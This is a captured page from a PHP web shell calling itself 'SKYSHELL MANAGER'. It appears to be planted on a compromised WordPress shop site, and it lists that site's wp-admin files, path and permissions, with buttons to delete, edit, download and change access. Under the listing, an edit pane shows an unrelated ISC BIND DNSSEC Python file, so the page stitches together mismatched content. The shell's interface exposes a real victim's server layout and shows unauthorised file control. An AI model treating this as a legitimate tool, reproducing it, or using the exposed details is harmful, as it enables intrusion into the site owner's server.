📁
SKYSHELL MANAGER
PHP v8.2.29
Create
Create
Path:
root
/
home
/
carl3
/
public_html
/
shop.oppedahl.com
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
admin-ajax.php
5.03 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-header.php
9.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-post.php
1.97 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
contribute.php
5.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-background.php
0.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-comments.php
14.14 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tag-form.php
10.42 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tags.php
21.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
install.php
17.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
2.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load-scripts.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load-styles.php
2.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-new.php
3.17 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-admin.php
0.19 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-delete-site.php
4.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-edit.php
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-users.php
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-media.php
6.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-permalink.php
21.89 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-reading.php
9.97 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
plugin-editor.php
13.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
plugin-install.php
6.96 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
profile.php
0.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
site-health-info.php
4.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
site-health.php
10.18 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update-core.php
45.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
upgrade-functions.php
0.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
upgrade.php
6.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
upload.php
14.9 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-new.php
24.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
users.php
23.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets.php
1.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
yho.txt
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: eventlist.py
############################################################################ # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. ############################################################################ from collections import defaultdict from .dnskey import * from .keydict import * from .keyevent import * class eventlist: _K = defaultdict(lambda: defaultdict(list)) _Z = defaultdict(lambda: defaultdict(list)) _zones = set() _kdict = None def __init__(self, kdict): properties = ["SyncPublish", "Publish", "SyncDelete", "Activate", "Inactive", "Delete"] self._kdict = kdict for zone in kdict.zones(): self._zones.add(zone) for alg, keys in kdict[zone].items(): for k in keys.values(): for prop in properties: t = k.gettime(prop) if not t: continue e = keyevent(prop, k, t) if k.sep: self._K[zone][alg].append(e) else: self._Z[zone][alg].append(e) self._K[zone][alg] = sorted(self._K[zone][alg], key=lambda event: event.when) self._Z[zone][alg] = sorted(self._Z[zone][alg], key=lambda event: event.when) # scan events per zone, algorithm, and key type, in order of # occurrence, noting inconsistent states when found def coverage(self, zone, keytype, until, output = None): def noop(*args, **kwargs): pass if not output: output = noop no_zsk = True if (keytype and keytype == "KSK") else False no_ksk = True if (keytype and keytype == "ZSK") else False kok = zok = True found = False if zone and not zone in self._zones: output("ERROR: No key events found for %s" % zone) return False if zone: found = True if not no_ksk: kok = self.checkzone(zone, "KSK", until, output) if not no_zsk: zok = self.checkzone(zone, "ZSK", until, output) else: for z in self._zones: if not no_ksk and z in self._K.keys(): found = True kok = self.checkzone(z, "KSK", until, output) if not no_zsk and z in self._Z.keys(): found = True zok = self.checkzone(z, "ZSK", until, output) if not found: output("ERROR: No key events found") return False return (kok and zok) def checkzone(self, zone, keytype, until, output): allok = True if keytype == "KSK": kz = self._K[zone] else: kz = self._Z[zone] for alg in kz.keys(): output("Checking scheduled %s events for zone %s, " "algorithm %s..." % (keytype, zone, dnskey.algstr(alg))) ok = eventlist.checkset(kz[alg], keytype, until, output) if ok: output("No errors found") allok = allok and ok return allok @staticmethod def showset(eventset, output): if not eventset: return output(" " + eventset[0].showtime() + ":", skip=False) for event in eventset: output(" %s: %s" % (event.what, repr(event.key)), skip=False) @staticmethod def checkset(eventset, keytype, until, output): groups = list() group = list() # collect up all events that have the same time eventsfound = False for event in eventset: # we found an event eventsfound = True # add event to current group if (not group or group[0].when == event.when): group.append(event) # if we're at the end of the list, we're done. if # we've found an event with a later time, start a new group if (group[0].when != event.when): groups.append(group) group = list() group.append(event) if group: groups.append(group) if not eventsfound: output("ERROR: No %s events found" % keytype) return False active = published = None for group in groups: if (until and calendar.timegm(group[0].when) > until): output("Ignoring events after %s" % time.strftime("%a %b %d %H:%M:%S UTC %Y", time.gmtime(until))) return True for event in group: (active, published) = event.status(active, published) eventlist.showset(group, output) # and then check for inconsistencies: if not active: output("ERROR: No %s's are active after this event" % keytype) return False elif not published: output("ERROR: No %s's are published after this event" % keytype) return False elif not published.intersection(active): output("ERROR: No %s's are both active and published " "after this event" % keytype) return False return True
Save